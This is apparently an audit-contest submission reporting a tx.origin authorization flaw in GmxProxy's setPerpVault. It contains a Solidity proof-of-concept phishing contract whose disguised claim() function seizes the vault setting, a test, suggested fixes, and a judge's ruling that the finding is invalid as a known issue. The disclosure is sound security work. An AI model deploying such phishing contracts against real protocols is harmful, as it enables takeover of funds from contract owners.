DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

tx.origin Authentication Bypass in setPerpVault Function Lead to Complete Control Over the Vault Settings

Summary

The setPerpVault function in GmxProxy.sol implements access control using tx.origin instead of msg.sender, creating vulnerability that allow unauthorized users to modify critical protocol parameters through phishing attacks.

Vulnerability Details

function setPerpVault(address \_perpVault, address market) external {
require(tx.origin == owner(), "not owner"); // Vulnerable line
require(\_perpVault != address(0), "zero address");
require(perpVault == address(0), "already set");
perpVault = \_perpVault;
gExchangeRouter.setSavedCallbackContract(market, address(this));
}\


Code snippet:\

The vulnerability stems from using tx.origin for authorization. While tx.origin points to the original transaction sender, it doesn't securely identify the immediate caller of the function. This creates an attack vector where a malicious contract can act as a proxy between the owner and the target contract.

Impact

An attacker could:

  1. Deploy a malicious contract that forwards calls to setPerpVault

  2. Trick the owner into interacting with the malicious contract

  3. The malicious contract could then modify the perpVault address and callback settings

  4. This could potentially lead to fund loss or protocol manipulation depending on how the perpVault is used in the system.


PoC:

  1. The GmxProxy contract represents the vulnerable contract using tx.origin for authentication.

  2. The AttackerContract is the malicious contract that:

    • Takes the target contract address in its constructor

    • Has a seemingly legitimate claim() function to trick the owner

    • Actually calls setPerpVault() when the owner interacts with it

  3. The attack flow:

    • Attacker deploys AttackerContract

    • Attacker creates a UI or sends the owner a link to interact with claim()

    • When owner calls claim(), the tx.origin will be the owner's address

    • The malicious contract can then call setPerpVault() and pass the authorization check

    • The perpVault is changed to an attacker-controlled address

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Target contract (simplified version of the vulnerable contract)
contract GmxProxy {
address public owner;
address public perpVault;
constructor() {
owner = msg.sender;
}
function setPerpVault(address _perpVault, address market) external {
require(tx.origin == owner, "not owner");
require(_perpVault != address(0), "zero address");
require(perpVault == address(0), "already set");
perpVault = _perpVault;
}
function getPerpVault() external view returns (address) {
return perpVault;
}
}
// Malicious contract used to exploit tx.origin
contract AttackerContract {
GmxProxy public targetContract;
address public attackerControlledVault;
constructor(address _targetContract) {
targetContract = GmxProxy(_targetContract);
// Attacker sets their controlled vault address
attackerControlledVault = address(0x1234);
}
// Function to trick the owner
function attack() external {
// When owner interacts with this contract, we can call setPerpVault
targetContract.setPerpVault(attackerControlledVault, address(0));
}
// Malicious function that looks legitimate to trick owner
function claim() external {
// This could look like a legitimate function to claim rewards
// But it actually triggers the attack
attack();
}
}
// Test contract to demonstrate the attack
contract TestExploit {
GmxProxy public gmxProxy;
AttackerContract public attackerContract;
address public owner;
address public attacker;
function setUp() public {
// Deploy contracts
owner = address(0x1);
attacker = address(0x2);
// Deploy target contract as owner
vm.prank(owner);
gmxProxy = new GmxProxy();
// Deploy attacker contract as attacker
vm.prank(attacker);
attackerContract = new AttackerContract(address(gmxProxy));
}
function testExploit() public {
// Initial state
assertEq(gmxProxy.getPerpVault(), address(0));
// Owner interacts with attacker contract thinking it's legitimate
vm.prank(owner);
attackerContract.claim();
// Verify attack succeeded
assertEq(gmxProxy.getPerpVault(), attackerContract.attackerControlledVault());
}
}

Tools Used

Manual Review

Recommendations

  • Replace tx.origin with msg.sender:

function setPerpVault(address _perpVault, address market) external {
require(msg.sender == owner(), "not owner");
// ... rest of the function
}
  • Implement proper access control using OpenZeppelin's Ownable contract:

import "@openzeppelin/contracts/access/Ownable.sol";
contract GmxProxy is Ownable {
function setPerpVault(address _perpVault, address market) external onlyOwner {
require(_perpVault != address(0), "zero address");
require(perpVault == address(0), "already set");
perpVault = _perpVault;
gExchangeRouter.setSavedCallbackContract(market, address(this));
}
}
  • Consider implementing a time-lock mechanism for sensitive parameter changes to provide additional security.

Updates

Lead Judging Commences

n0kto Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

invalid_tx-origin

Lightchaser: Medium-5

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.